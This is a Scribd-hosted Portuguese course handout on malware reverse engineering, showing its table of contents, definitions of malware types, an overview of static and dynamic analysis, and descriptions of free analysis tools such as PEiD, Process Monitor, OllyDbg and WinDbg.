100% acharam este documento útil (2 votos)
825 visualizações187 páginas

Engenharia Reversa Malware

O documento discute engenharia reversa e análise de malware. Aborda tipos de códigos maliciosos, ferramentas de análise estática e dinâmica, técnicas de anti-reversing e estruturas internas de softwares como pilha, registradores e instruções assembly. Inclui também laboratórios sobre análise de executáveis maliciosos usando strings, debuggers e monitoramento de processos.

Enviado por

hihackthis
Direitos autorais
© © All Rights Reserved
Levamos muito a sério os direitos de conteúdo. Se você suspeita que este conteúdo é seu, reivindique-o aqui.
Formatos disponíveis
Baixe no formato PDF, TXT ou leia on-line no Scribd
100% acharam este documento útil (2 votos)
825 visualizações187 páginas

Engenharia Reversa Malware

O documento discute engenharia reversa e análise de malware. Aborda tipos de códigos maliciosos, ferramentas de análise estática e dinâmica, técnicas de anti-reversing e estruturas internas de softwares como pilha, registradores e instruções assembly. Inclui também laboratórios sobre análise de executáveis maliciosos usando strings, debuggers e monitoramento de processos.

Enviado por

hihackthis
Direitos autorais
© © All Rights Reserved
Levamos muito a sério os direitos de conteúdo. Se você suspeita que este conteúdo é seu, reivindique-o aqui.
Formatos disponíveis
Baixe no formato PDF, TXT ou leia on-line no Scribd
Você está na página 1/ 187

Engenharia Reversa e

Análise de Malware
Conteúdo
1. Introdução .............................................................................................................................................................. 6
1.1. Tipos de códigos maliciosos .................................................................................................................................... 6
1.2. Engenharia reversa de malware ............................................................................................................................. 8
1.3. Análise estática e dinâmica (comportamental) ....................................................................................................... 9
1.4. Ferramentas ............................................................................................................................................................ 9
1.5. Antireversing e anti-antivirus ................................................................................................................................ 19
1.5.1. Polimorfismo ................................................................................................................................................. 19
1.5.2. Metamorfismo .............................................................................................................................................. 20
1.5.3. Packers........................................................................................................................................................... 20
1.5.4. Cryptors ......................................................................................................................................................... 21
1.5.5. Binders, Joiners ou Wrappers ........................................................................................................................ 21
1.5.6. Strings Ofuscadas .......................................................................................................................................... 21

2. Estruturas Internas dos Softwares .........................................................................................................................23


2.1. Níveis de abstração ............................................................................................................................................... 23
2.2. Engenharia Reversa ............................................................................................................................................... 25
2.3. A Arquitetura x86 .................................................................................................................................................. 26
2.4. Memória Principal (RAM) ...................................................................................................................................... 27
2.5. Instruções .............................................................................................................................................................. 28
2.6. Opcodes e Endianness (Ordenação) ...................................................................................................................... 28
2.7. Operandos ............................................................................................................................................................. 29
2.8. Registradores ........................................................................................................................................................ 29
2.9. A pilha (Stack) ....................................................................................................................................................... 32
2.10. Chamadas de Funções (FunctionCalls) ................................................................................................................ 32
2.11. Layout da Pilha (stack layout) ............................................................................................................................. 33
2.12. Exemplo de código em C e Assembly ................................................................................................................... 36
2.13. Mais informações: linguagem assembly e arquitetura Intel x86 ........................................................................ 37
2.14. Lab-02-01 Entendo na prática o funcionamento da pilha com o OllyDbg ........................................................... 39

3. Laboratório para Análise de Malwares ...................................................................................................................44


3.1. Máquina virtual ..................................................................................................................................................... 44
3.2. Preparação do ambiente ....................................................................................................................................... 45
3.3. Lab-03-01 Uso de máquina virtual e simulação de rede com FakeNet ................................................................. 48

4. Trabalhando com Executáveis ................................................................................................................................53


4.1. Identificação do arquivo ........................................................................................................................................ 53
4.2. Unpacking Automático.......................................................................................................................................... 53
4.3. Strings ................................................................................................................................................................... 54
4.4. Strings criptografadas ........................................................................................................................................... 54
4.5. Debugging ............................................................................................................................................................. 55
4.6. Lab 04-01 Análise de executável malicioso com strings criptografadas ............................................................... 55
4.7. Lab 04-02 Análise de executável malicioso com uso dedescompilador................................................................. 69

5. Análise Dinâmica ...................................................................................................................................................78


5.1. Monitorando processos com Process Explorer ...................................................................................................... 78
5.2. Monitorando com Process Monitor....................................................................................................................... 79
5.3. Monitoramento de Tráfego de Rede ..................................................................................................................... 80
5.4. Monitoramento do registro e arquivos com Regshot ............................................................................................ 81
5.5. O uso das ferramentas de análise dinâmica na prática ........................................................................................ 81
5.6. Lab 05-01 Análise dinâmica com Process Explorer e Process Monitor .................................................................. 82
5.7. Lab 05-02 Análise de executável malicioso com uso de técnicas diversas ............................................................ 88

6. Windows Internals .................................................................................................................................................89


6.1. Níveis de privilégio do processador – Protection Rings ......................................................................................... 89
6.2. Transição entre os níveis de privilégio ................................................................................................................... 89
6.3. Kernel Mode .......................................................................................................................................................... 90
6.4. User Mode ............................................................................................................................................................. 91
6.5. Windows APIs ........................................................................................................................................................ 92
6.5.1. Win32 API ...................................................................................................................................................... 93
6.5.2. Native API ...................................................................................................................................................... 93
6.6. Lab 06-01 Entendendo as APIs do Windows na prática ........................................................................................ 95
6.7. Formato Portable Executable (PE) ......................................................................................................................... 95
6.7.1. Conceitos Básicos .......................................................................................................................................... 96
6.7.2. MS-DOS Header............................................................................................................................................. 97
6.7.3. PE Header ...................................................................................................................................................... 99
6.7.4. Section Table ............................................................................................................................................... 102
6.7.5. PE Sections .................................................................................................................................................. 103
6.8. O Loader – Como um arquivo PE é carregado na memória ................................................................................ 105

7. Trabalhando com DLLs .........................................................................................................................................107


7.1. Estrutura Básica de uma DLL ............................................................................................................................... 107
7.2. Enumerando Exports da DLL ............................................................................................................................... 108
7.3. Executando DLLs.................................................................................................................................................. 110
7.4. Restrições de Processo Host ................................................................................................................................ 111
7.5. Debugging DLL .................................................................................................................................................... 113
7.6. Component Object Model (COM) ........................................................................................................................ 113
7.7. Lab 07-01 Análise de DLL maliciosa .................................................................................................................... 116
7.8. Lab 07-02 Injeção e debugging de DLL com o Immunity Debugger .................................................................... 116

8. Memory Forensics ...............................................................................................................................................121


8.1. Aquisição da memória......................................................................................................................................... 121
8.2. Análise de Memória ............................................................................................................................................ 123
8.3. Lab 08-01 Aquisição e análise de dump de memória .......................................................................................... 124

9. Trabalhando com Rootkits ...................................................................................................................................125


9.1. O surgimento dos Rootkits .................................................................................................................................. 125
9.2. Tipos de rootkits .................................................................................................................................................. 126
9.3. User-mode Rootkits ............................................................................................................................................. 126
9.3.1. API Hooking ................................................................................................................................................. 127
9.3.2. Técnicas de Hooking .................................................................................................................................... 128
9.4. Ferramentas de detecção de Rootkits ................................................................................................................. 129
9.5. Lab 09-01 Demonstração de INT 3 Hooks com PyDbg ........................................................................................ 130
9.6. Kernel-mode Rootkits .......................................................................................................................................... 131
9.6.1. O Kernel do Windows (NTOSKRNL.EXE) ...................................................................................................... 132
9.6.2. Device Drivers .............................................................................................................................................. 133
9.6.3. Windows Hardware Abstraction Layer (HAL) .............................................................................................. 134
9.6.4. Kernel Drivers no Windows ......................................................................................................................... 135
9.6.5. Os Rootkits em Kernel-Mode ...................................................................................................................... 136
9.6.6. Análise de Kernel-Mode Rootkit ................................................................................................................. 138
9.7. Lab 09-02 Análise de kernel-mode rootkit com o WinDbg .................................................................................. 141
9.7.1. Configurando Kernel-Mode Debugging com WinDbg e VirtualBox ............................................................. 142
9.8. Referências de comandos e uso do WinDbg ....................................................................................................... 146

10. Técnicas contra Engenharia Reversa ...................................................................................................................147


10.1. Packers .............................................................................................................................................................. 147
10.1.1. Anatomia dos Packers ............................................................................................................................... 147
10.1.2. O código de Unpacking.............................................................................................................................. 148
10.1.3. Identificando Programas com Packers ...................................................................................................... 150
10.1.4. Métodos de Unpacking ............................................................................................................................. 150
10.1.5. Unpacking Manual .................................................................................................................................... 152
10.1.6. Analisando sem realizar o Unpacking total ............................................................................................... 157
10.1.7. Lab 10-01 Unpacking manual de UPX alterado ......................................................................................... 158
10.2. Anti-Debugging ................................................................................................................................................. 158
10.2.1. Detecção de debugger através da Windows API ....................................................................................... 158
10.2.2. Checagem manual de estruturas ............................................................................................................... 160
10.2.3. Identificando o comportamento do Debugger.......................................................................................... 163
10.2.4. Interferindo na funcionalidade do Debugger ............................................................................................ 164
10.2.5. Vulnerabilidades do Debugger .................................................................................................................. 165
10.3. Visão geral de Anti-Disassembly ....................................................................................................................... 165
10.4. Visão geral de Anti-VM ..................................................................................................................................... 167
10.5. Lab 10-02Análise de malware que emprega técnicas anti-debugging ............................................................. 168

11. Trabalhando com Documentos Maliciosos .........................................................................................................169


11.1. Etapas genéricas da análise de documentos maliciosos ................................................................................... 169
11.2. Análise de documento Microsoft Office ............................................................................................................ 170
11.2.1. OfficeMalScanner ...................................................................................................................................... 170
11.2.2. Ferramentas e recursos para análise de documentos Office .................................................................... 171
11.3. Lab 11-01 Análise de documento Office malicioso ............................................................................................ 171
11.4. Análise de PDF ................................................................................................................................................... 171
11.5. Lab 11-02 Análise de PDF malicioso .................................................................................................................. 173

12. Trabalhando com Web Malware ........................................................................................................................174


12.1. JavaScript .......................................................................................................................................................... 174
12.2. PHP .................................................................................................................................................................... 176
12.3. Applet Java ........................................................................................................................................................ 177
12.4. Flash e Action Script .......................................................................................................................................... 178
12.5. Lab 12-01 Análise de web malware diversos .................................................................................................... 179

Apêndice A: Sandbox e Multi-AV Scanners ..............................................................................................................180

Apêndice B: Coleta de Malware ...............................................................................................................................182

Referências Bibliográficas ........................................................................................................................................184

É terminantemente proibida a reprodução total ou parcial desta obra, por qualquer meio ou
processo, sem a expressa autorização do autor.
Engenharia Reversa e Análise de Malware | 6

1. Introdução

Código malicioso ou malware (do inglês “malicious software”) foi um termo criado para
definir genericamente qualquer software que tenha intenção de realizar alguma atividade no
computador sem o consentimento ou conhecimento do proprietário, dessa forma beneficiando outra
pessoa. Geralmente essa atividade maliciosa gerará algum dano ou prejuízo a vitima e envolverá
captura de teclas digitadas no teclado, cliques do mouse, comunicação de rede, alterações de
configurações no navegador e sistema operacional, etc.

1.1. Tipos de códigos maliciosos

Conforme foram surgindo foram identificadas determinadas características e funcionalidades


comuns em certos grupos de malwares e assim criaram-se categorias para distingui-los. Devido ao
dinamismo e à velocidade com que surgem novas pragas digitais muitas vezes é difícil saber se um
malware se encaixa em uma categoria, em várias ou em nenhuma conhecida. Porém é consenso a
existência de determinados tipos comuns que veremos a seguir.

Vírus: é o tipo mais antigo de malware e tem se tornado menos popular nos dias atuais,
porém às vezes o termo ainda é utilizado de forma genérica para descrever todos os tipos de
malwares. Eles fazem cópias de si mesmos infectando outros arquivos legítimos do computador, ou
seja, se tornam parte de outros programas (geralmente executáveis). Uma característica importante é
que os vírus geralmente dependem da ação do usuário para se tornarem ativos e infectarem outros
computadores, diferente da maioria dos malwares atuais que utilizamInternet ou a rede local para se
replicarem.

Worm: fundamentalmente é similar ao vírus, porém possui uma diferença significativa,


worms se auto replicam automaticamente pela rede sem necessitar da ação do usuário, conseguem
fazer isso explorando vulnerabilidades do sistema operacional e outros softwares. Devido a essa
característica eles podem se propagarem de forma incontrolável em pouquíssimo período de tempo.

Trojanhorse: em português cavalo de Troia, foi na mitologia grega uma grande estátua,
utilizada como instrumento de guerra pelos gregos para obter acesso à cidade de Troia. A estátua do
cavalo foi recheada com soldados que, durante a noite, abriram os portões da cidade possibilitando
Engenharia Reversa e Análise de Malware | 7

a entrada dos gregos e a dominação de Troia. Daí surgiram os termos "Presente de Grego" e
"Cavalo de Troia". No mundo dos malwares, um trojan é um programa normalmente recebido como
um "presente" (por exemplo, vídeos, fotos, jogos, etc.), que além de executar funções para as quais
foi aparentemente projetado, também executa outras funções normalmente maliciosas e sem o
conhecimento do usuário.

Trojan-Downloader: é um tipo de Trojan que existe somente para fazer download de outros
códigos maliciosos. Downloaders, ou Loaders como são conhecidos no meio hacker, geralmente são
instalados pelos atacantes quando eles obtêm acesso ao sistema pela primeira vez. O downloader irá
baixar e instalar outros malwares automaticamente.

Trojan-Banker: esse tipo de Trojan é muito comum no Brasil, 95% dos malwares
produzidos no país são desse tipo [1], são especializados em furtar dados referentes ao Internet
Banking. Tentam se passar por aplicativos ou sites dos bancos brasileiros para conseguirem capturar
senhas e demais credenciais de acesso a contas bancárias.

[1] http://oglobo.globo.com/tecnologia/bbr-ajuda-mas-malware-ainda-pode-infectar-aparelhos-3678255

Backdoor: código malicioso que se instala no computador para permitir o acesso remoto do
atacante. Permite ao atacante se conectar e executar comandos no computador infectado sem que o
usuário tenha conhecimento.

Bot/Botnet: similar a backdoor, permite ao atacante se conectar remotamente ao computador


infectado, porém seu uso é diferente. Assim que um computador é infectado por um bot, ele se
conecta automaticamente a um servidor de comando-e-controle (command-and-control, C&C ou
C2) e ficar aguardando instruções. Esse servidor C&C é comandado pelo atacante que através que
instruções ordena que toda a rede de computadores infectados com os bots (a botnet) realizem
determinadas atividades maliciosas como, por exemplo,capturarem teclas digitadas, acessarem
determinado web site para sobrecarregá-lo e derrubá-lo (ataque DDoS), instalar malwares
adicionais, etc.

Rootkit: malware designado para ocultar sua presença e de outros códigos maliciosos no
sistema operacional. Utiliza-se de técnicas avançadas para dificultar a detecção por parte do
usuário, geralmente faz isso alterando funções internas do sistema operacional fazendo com que
passe despercebido pelas ferramentas anti-malware.
Engenharia Reversa e Análise de Malware | 8

O uso de códigos maliciosos está diretamente relacionado às fraudes cometidas pela


Internet, para essas fraudes ou golpes também foram criados alguns termos que valem a pena
conhecer:

PhishingScam: é um golpe que se utiliza de engenharia social com o envio de mensagem


não solicitado (spam) para se passar por uma instituição conhecida, como um banco, empresa ou
site popular, e que procura induzir o usuário a acessar páginas falsas ou instalar códigos maliciosos
projetados para furtar dados pessoais e financeiros. As palavras inglesas phishing (de "fishing",
pescaria) e scam (golpe) vêm de uma analogia criada pelos fraudadores, onde "iscas" (e-mails) são
usadas para "pescar" senhas e dados financeiros de usuários na Internet. No meio hacker, os
indivíduos especializados em desenvolver códigos maliciosos ou sites fraudulentos para furtar
informações bancárias é conhecido como "banker" e o especializado somente em cartões de crédito
é o "carder".

SpearPhishing: no phishing comum são enviados e-mails para tentar “pescar” senhas e
outros dados bancários das pessoas em geral, já no spearphishing (“pescaria com arpão”) são
enviados e-mails direcionados a alvos específicos, a mensagem é cuidadosamente montada para que
se passe por verdadeira dentro de uma empresa ou órgão.

1.2. Engenharia reversa de malware

Engenharia reversa é o processo de extrair conhecimento de algo feito pelo homem.


Geralmente é utilizada para obter informação de algo que foi perdido ou esteja faltando, muitas
vezes o dono dessa informação não tem a intenção de compartilhá-la ou a informação foi destruída.
Em muitas indústrias a engenharia reversa é utilizada para descobrir segredos de projetos dos
concorrentes paradesenvolverem produtos similares ou superiores, o produto é dissecado pedaço
por pedaço até descobrirem o que cada parte faz.
Software é uma das tecnologias mais complexas feita pelos homens da atualidade, e a
engenharia reversa de software consiste em abrir um programa e olhá-lo internamente. Portanto a
engenharia reversa de malware é o processo de abrir um software malicioso, dissecá-lo e entender o
que cada parte do programa faz sem ter acesso ao seu código-fonte original, já que o criador
possivelmente não irá querer compartilhá-lo conosco. 
Engenharia reversa de malware requer uma combinação de habilidades e conhecimentos,
como por exemplo: desenvolvimento de softwares, sistemas operacionais, arquitetura de
Engenharia Reversa e Análise de Malware | 9

computadores, programação baixo nível, formato de arquivos, etc. Porém o mais importante pré-
requisito é a curiosidade e a vontade de aprender.

1.3. Análise estática e dinâmica (comportamental)

Existem duas abordagens distintas, contudo complementares, que podemos utilizar para
analisar um malware. A primeira delas é chamada de análise estática, com ela analisamos um
artefato, na verdade um arquivo, sem executá-lo ou executando apenas pequenos trechos de seu
código com ajuda de debuggers. Nesse tipo de análise utilizamos diversas ferramentas para
conseguir extrair o máximo de informações possíveis do malware, geralmente essa abordagem
exige do analista um conhecimento maior dos formatos de arquivos envolvidos, do funcionamento
interno do sistema operacional e da linguagem assembly, porém dessa forma conseguimos extrair
informações mais detalhadas e avançadas do malware.
Já na análise dinâmica, também chamada de comportamental, executamos o arquivo e
monitoramos seu comportamento, interação e efeitos no sistema operacional hospedeiro, deixamos
o malware agir e observamos. Para isso contamos com a ajuda de diversas ferramentas que
capturam tráfego de rede, execução de processos, modificações no registro, sistema de arquivos,
etc., e no final da execução, ou após um determinado período de tempo definido por nós, são
exibidos os relatórios com os resultados.
Vale dizer que a análise dinâmica é fácil ser automatizada, os sites que analisam malwares
fazem isso, já a análise estática é muito difícil, a maior parte do trabalho é feito manualmente por
um analista. As empresas desse ramo, universidades ou mesmo as forças policiais (FBI) geralmente
possuem gigantescas base de dados com milhões de amostras que são analisadas automaticamente
pelo método dinâmico e os arquivos que fogem do padrão são separados e analisados manualmente
por uma pessoa através do método estático.
Um método não é melhor que o outro, eles são complementares. Às vezes é muito útil
utilizar a abordagem dinâmica para provar ou tirar uma dúvida do que foi encontrado com a análise
estática. Também podemos utilizar a análise estática para conseguir mais detalhes do que foi
apresentado com a abordagem dinâmica. Por isso é importante conhecer os dois métodos.

1.4. Ferramentas

São poucas as ferramentas criadas especialmente para a engenharia reversa e análise de


malware, mas mesmo assim existem inúmeras criadas com outros propósitos que são muito úteis na
hora de lidar com um arquivo malicioso. Elas são categorizadas de acordo com suas
Engenharia Reversa e Análise de Malware | 10

funcionalidades, muitas são bem completas e se encaixam em mais de uma categoria, vejamos
abaixo as características de cada uma e no decorrer do curso as conheceremos com mais detalhes.
Lembrando que todos os softwares utilizados são gratuitos e estão disponíveis na internet para
qualquer um fazer download.

Identificadores de Arquivos

Quando pretendemos analisar um arquivo suspeito não temos nenhuma informação prévia
sobre ele, não sabemos o formato do arquivo, para qual sistema operacional foi compilado ou se ele
possui alguma proteção. Não podemos confiar no nome do arquivo e nem em sua extensão, pois
isso é usado como engenharia social para enganar os menos atentos. Existem ferramentas,
classificadasgenericamente como identificadores de arquivos, que podemos utilizar para obter um
perfil inicial do arquivo.
Elas recebem o arquivo suspeito como entrada e exibem informações detalhadas como:
formato do arquivo, compilador, linguagem de programação, proteções, cabeçalhos, sessões do
arquivo, etc. Algumas ainda dão dicas de como remover as proteções e permitem a instalação de
plug-ins.

Segue uma lista das mais utilizadas:

- PEiD
Ferramenta gratuita para detecção de packers e compiladores. Inclui mais de 600 assinaturas para
detectar packers, cryptors e compiladores em arquivos do formato PE (executável do Windows).
Suporta a instalação de plug-ins como o KryptoANALyzer (KANAL). O KANAL pode ser
utilizado para encontrar algoritmos de criptografia conhecidos em arquivos PE. Embora o projeto
do PEiD tenha sido descontinuado ainda é possível fazer o download da ferramenta.
Download: http://www.peid.info/.

- Exeinfo PE
Assim como o PEiD é uma ferramenta gratuita que também identifica packers e compiladores de
arquivos PE. Projeto atualizado que apresenta bons resultados e possui 617 assinaturas de detecção.
Uma vantagem é que ele quando identifica um packer dá dica de como encontrar o unpacker.
Permite ainda a integração com o PEiD através de plug-in.
Site para download: http://www.exeinfo.xwp.pl/.
Engenharia Reversa e Análise de Malware | 11

- RDG Packer Detector


Como o próprio nome diz identifica packers, cryptors, compiladores e algoritmos de criptografia. É
uma ferramenta menos conhecida, porém bastante poderosa. Compatível com Windows 7 e
arquivos PE de 32 e 64 bits.
Download: http://www.rdgsoft.8k.com/.

- file
Comando nativo de distribuições Linux para identificação de arquivos. Ideal para saber o tipo de
um arquivo desconhecido, às vezes consegue identificar a presença de packers. Possui versão
gratuita para Windows.
Download (Windows): http://gnuwin32.sourceforge.net/packages/file.htm.

Monitoramento do Sistema

Esse tipo de ferramenta está relacionado com a análise dinâmica do malware, envolve
tarefas como “sniffar” a rede, monitorar o sistema operacional (SO), explorar e expor o que o
malware está fazendo. A maioria dessas ferramentas exibe informações coletadas pelo SO sobre o
malware e seu ambiente, devido à quase totalidade de comunicação do malware com o mundo
exterior ser feita através do SO, ele pode ser manipulado para extrair essa informação. Ferramentas
de monitoramento do sistema podem monitorar atividade de rede, acesso a arquivos, acesso ao
registro, criação de processos, além de objetos do SO como mutex, eventos e outros.

Segue uma lista das mais utilizadas:

- Autoruns
Autoruns é um utilitário com uma longa lista de locais de inicialização automática de programas no
Windows. Malwares frequentemente se instalam em uma variedade de locais, incluindo o registro,
menu iniciar, e outros. Autoruns procura por vários locais possíveis e apresenta um relatório em
uma interface gráfica. Use o Autoruns na análise dinâmica para ver onde o malware se instalou. A
ferramenta faz parte da SysinternalsSuite.
Download: http://www.sysinternals.com/.

- Capture BAT
É uma ferramenta de análise dinâmica para monitorar o malware enquanto ele ainda está rodando.
Capture BAT irá monitorar o sistema de arquivos, registro e atividades do processo. Você pode usar
Engenharia Reversa e Análise de Malware | 12

listas de exclusão (incluindo muitas já predefinidas) para remover os resultados não desejados e
focar somente no malware que está analisando. Apesar de o Capture BAT não ter uma interface
gráfica muito sofisticada como o Process Monitor, é uma ferramenta open source, então você pode
modificá-la.
Download: http://www.honeynet.org/project/CaptureBAT.

- Process Explorer
É um poderoso gerenciador de tarefas do Windows que é utilizado para prover informações sobre os
processos que estão executando no sistema. Process Explorer pode mostrar as DLLs de processos
individuais, handles, eventos, strings e muito mais. Faz parte da SysinternalsSuite.
Download: http://www.sysinternals.com/.

- Process Hacker
É um poderoso gerenciador de tarefas similar ao Process Explorer, porém com muitas
funcionalidades adicionais. Ele pode buscar por strings e expressões regulares na memória, injetar
ou descarregar DLL, carregar um driver, criar ou iniciar um serviço e muito mais.
Download: http://processhacker.sourceforge.net/.

- Process Monitor
Process Monitor (procmon) é uma ferramenta de análise dinâmica útil para visualizar em tempo real
atividades no sistema de arquivos, registro e processos. Você pode utilizar filtros para remover
informações não desejadas do relatório. Faz parte da SysinternalsSuite.
Download: http://www.sysinternals.com/.

- Regshot
Ferramenta de análise dinâmica que permite tirar e comparar dois snapshots (estado ou “foto”) do
registro do sistema. Para usá-la, você simplesmente tira um snapshot do registro, executa o
malware, aguarda ele fazer as modificações no sistema, tira o segundo snapshot, e então compara os
dois. O regshot também pode ser utilizado para tirar e comparar dois snapshots de qualquer pasta do
sistema de arquivos que você especificar.
Download: http://sourceforge.net/projects/regshot/.

- TCPView
Ferramenta para mostrar graficamente listagens detalhadas de todas as conexões TCP e UDP
relacionadas com processos. Essa ferramenta é útil para análise de um malware porque permite
Engenharia Reversa e Análise de Malware | 13

visualizar qual processo é proprietário de determinada conexão. TCPView pode ajudar você a
rastrear o nome de um processo quando sua máquina de análise se conecta a uma porta TCP e você
não tem ideia de qual é o responsável. Faz parte da SysinternalsSuite.
Download: http://www.sysinternals.com/.

- Wireshark
Wireshark é uma ferramenta open source de análise de pacotes de rede. Pode ser utilizada para
capturar o tráfego de rede gerado pelo malware e para analisar muitos protocolos diferentes. É a
ferramenta mais popular disponível livremente para capturar pacotes de rede, possui uma interface
completa e fácil de usar.
Download: http://www.wireshark.org/.

Disassemblers

Disassemblers são programas que recebem um arquivo binário executável como entrada e
geram como saída arquivos textuais que contém o código da linguagem assembly para o programa
inteiro ou parte dele. Esse processo é relativamente simples considerando que a linguagem
assembly é simplesmente o mapeamento textual da linguagem de máquina. Disassembly é um
processo baseado em processador, ou seja, cada arquitetura de CPU tem uma linguagem assembly
específica, mas alguns disassemblers suportam múltiplas arquiteturas diferentes. Um bom
disassembler é uma ferramenta essencial no kit do engenheiro reverso de malware, através dele
temos acesso ao código-fonte do malware (ainda que em linguagem de baixo nível) o que auxilia o
seu entendimento emanipulação.

- IDA ProFree
É o disassembler mais poderoso e utilizado em análise de malwares, possui inúmeras
funcionalidades como geração de gráficos, fluxogramas, referências cruzadas e muito mais.
Disponível em uma versão paga com mais funcionalidades e outra free que atende bem a análise de
malwares para plataformas comuns.
Download: http://www.hex-rays.com/products/ida/support/download_freeware.shtml.

Debuggers

Caso você já tenha feito algo em desenvolvimento de software já deve ter ouvido falar sobre
os debuggers.Um debugger é um software que permite que o desenvolvedor observe seu programa
Engenharia Reversa e Análise de Malware | 14

enquanto ele está sendo executado. As duas maiores características de um debugger são a habilidade
de estabelecer breakpoints e a habilidade de navegar através do código.
Breakpoints permitem ao usuário selecionar uma função ou linha de código em qualquer
lugar no programa e instruir o debugger a parar a execução do programa assim que essa linha é
atingida. Quando ele atinge o breakpoint, o debugger para (break) e exibe o estado atual do
programa. Nesse ponto é possível liberar o programa para continuar a execução ou começar a
navegar através de seu código. Esse processo de “navegação” através do programa consiste em
executar uma linha de código de cada vez e congelar, permitindo ao usuário observar e até alterar
seu estado. Isso permite observar o fluxo exato do programa de uma forma mais lenta e apropriada
para a compreensão humana, já que o computador executada tudo isso bilhões de vezes mais rápido.
Instalando breakpoints e navegando por programas, os desenvolvedores podem assistir ao
programa de perto quando ele executa uma seção problemática do código e tentar determinar a
origem do problema. Como os desenvolvedores têm acesso ao código-fonte de seus programas,
debuggers comuns exibem o código-fonte na linguagem de programação de alto-nível que eles
estão utilizando, permitindo a manipulação desse código.
Para os engenheiros reversos de malware, o debugger é quase tão importante quanto para o
desenvolvedor de software, mas por pequenas razões diferentes. Os debuggers são utilizados no
modo disassembly, por essa razão esse tipo de debugger é conhecido como assembler-
leveldebugger. No modo disassembly um debugger utiliza um disassembler embutido para
“disassemblar” o código de máquina em tempo de execução. É possível executar linha a linha o
código assembly e “assistir” como a CPU executa cada instrução do malware. Essa capacidade de
saber o que está sendo executado é muito valiosa para a análise do malware, inclusive para entender
trechos mais complexos de seu código ou ainda para tentar remover determinadas proteções do
código. Ao decorrer do curso utilizaremos bastante debuggers.

Segue uma lista dos mais utilizados:

- OllyDbg
OllyDbg é um dos mais utilizados debuggers para análise de malware. É um user-mode x86
debugger com uma interface gráfica. Inúmeros plug-ins estão disponíveis para o OllyDbg, como por
exemplo, o OllyDump muito utilizado para unpackingdemalwares.
Download: http://www.ollydbg.de/.

- ImmunityDebugger
O ImmDbg é um user-modedebugger disponível gratuitamente. É derivado do código-fonte do
Engenharia Reversa e Análise de Malware | 15

OllyDbg 1.1, possui pequenas modificações da GUI do OllyDbg e um interpretador Python


completamente funcional com uma API que permite escrever e rodar scripts nessa linguagem.
Download: http://www.immunityinc.com/products-immdbg.shtml.

- WinDbg
WinDbg é o debugger completo mais popular, distribuído gratuitamente pela Microsoft. Você pode
utilizá-lo para debugarmalware em user-mode, kernel-mode, x86 e x64. O WinDbg não tem a
interface gráfica robusta como o OllyDbg, ao invés disso possui uma interface de linha de
comandos. Muitos analistas de malware optam por usar o OllyDbg para user-modedebugging e o
WinDbg para kerneldebugging. WinDbg pode ser baixado independente ou como parte do Windows
SDK.
Download: http://msdn.microsoft.com/.

Descompiladores

Descompilar é o próximo passo após o disassembler. Um descompilador recebe um arquivo


executável binário como entrada e tenta produzir código de linguagem de programação de alto-nível
a partir dele. A ideia é tentar reverter o processo de compilação para obter o código-fonte original
ou algo similar a isso. Na maioria das plataformas conseguir isso não é realmente possível, existem
elementos na maioria das linguagens de programação de alto-nível que são perdidas no processo de
compilação e fica impossível a recuperação. Porém, ainda assim descompiladores são ferramentas
poderosas que em determinadas situações e ambientes podem reconstruir o código de alto-nível de
forma bastante aceitável. Por exemplo,às vezes é possível recuperar janelas e imagens de
determinados malwareso que torna muito mais fácil a sua compreensão.

Segue uma lista dos mais utilizados:

- DeDe
Popular descompilador para executáveis compilados em Delphi. Possui interface gráfica onde é
possível visualizar o nome original do projeto Delphi, a versão utilizada, forms encontrados,
funções e mais. Ainda permite salvar o projeto em formato nativo do Delphi o que permite posterior
abertura na IDE. Apesar de nem sempre apresentar resultados satisfatórios é muito útil para
recuperar GUIs de malwares.
Download:
http://www.softpedia.com/get/Programming/Debuggers-Decompilers-Dissasemblers/DeDe.shtml.
Engenharia Reversa e Análise de Malware | 16

- VB Decompiler Pro
Descompilador para executáveis compilados com a linguagem de programação Visual Basic.
Recupera funções, forms, nome do projeto e permite salvar o projeto para posterior utilização com o
Visual Basic.
Download: http://www.vb-decompiler.org/products/pt.htm.

- Hex-RaysDecompiler
Apesar de ser uma ferramenta paga (e cara, 2.239,00 USD) vale à pena citar a título de
conhecimento. O Hex-RaysDecompiler é um poderoso plug-in para o IDA Pro que tenta converter
código assembly em código amigável para humanos, uma espécie de pseudocódigo em C. Por
exemplo, com o uso do plug-in 100 linhas de código assembly podem se transformar em apenas 8
linhas de código C.O plug-in é muito útil para decifrar complexos algoritmos de criptografia. É a
melhor ferramenta no mercado para descompilação, mas não é livre de falhas.
Para mais informações: http://www.hex-rays.com/.

MemoryForensics

Memoryforensics ou forense de memória refere-se a encontrar e extrair artefatos forenses da


memória física de uma computador (RAM). A RAM contém informação crítica sobre o estado do
sistema em execução enquanto ele ainda está ativo. Capturando um cópia inteira da memória e
analisando e um computador separado, é possível reconstruir o estado original do sistema, incluindo
quais aplicações estavam rodando, quais arquivos essas aplicações estavam acessando, quais
conexões de rede estavam ativas, e muito mais. Em análise de malware esse acesso à memória
auxilia na retirada de proteções, detecção de rootkits, e na engenharia reversa como um todo.
Existem basicamente dois tipos de ferramentas relacionadas com forense de memória, o primeiro
tipo são as ferramentas que realizam a captura da RAM do computador, elas fazem uma cópia
idêntica de tudo o que está na memória, ou de apenas de um determinado processo, e salva em um
arquivo para posterior análise, esse processo é conhecido como dump de memória. O segundo tipo
de ferramenta é responsável pela análise da memória capturada, a partir do arquivo de dump ela
consegue reconstruir todas as informações que estavam originalmente na RAM do sistema e nos
exibir de forma amigável, permitindo variadas opções de buscas e listagens.

Segue uma lista das mais utilizadas:


Engenharia Reversa e Análise de Malware | 17

- LordPE
É uma ferramenta gratuita para realizar o dump de um executável na memória, com ele é possível
selecionar um processo que esteja em execução e copiá-lo inteiro ou parcialmente. Ele permite
editar o arquivo PE e pode ser utilizado para corrigir um programa que foi copiado da memória com
outra ferramenta. Ferramenta bastante utilizada para unpacking de malware.
Download: http://www.woodmann.com/collaborative/tools/index.php/LordPE.

- MoonSols Windows Memory Toolkit


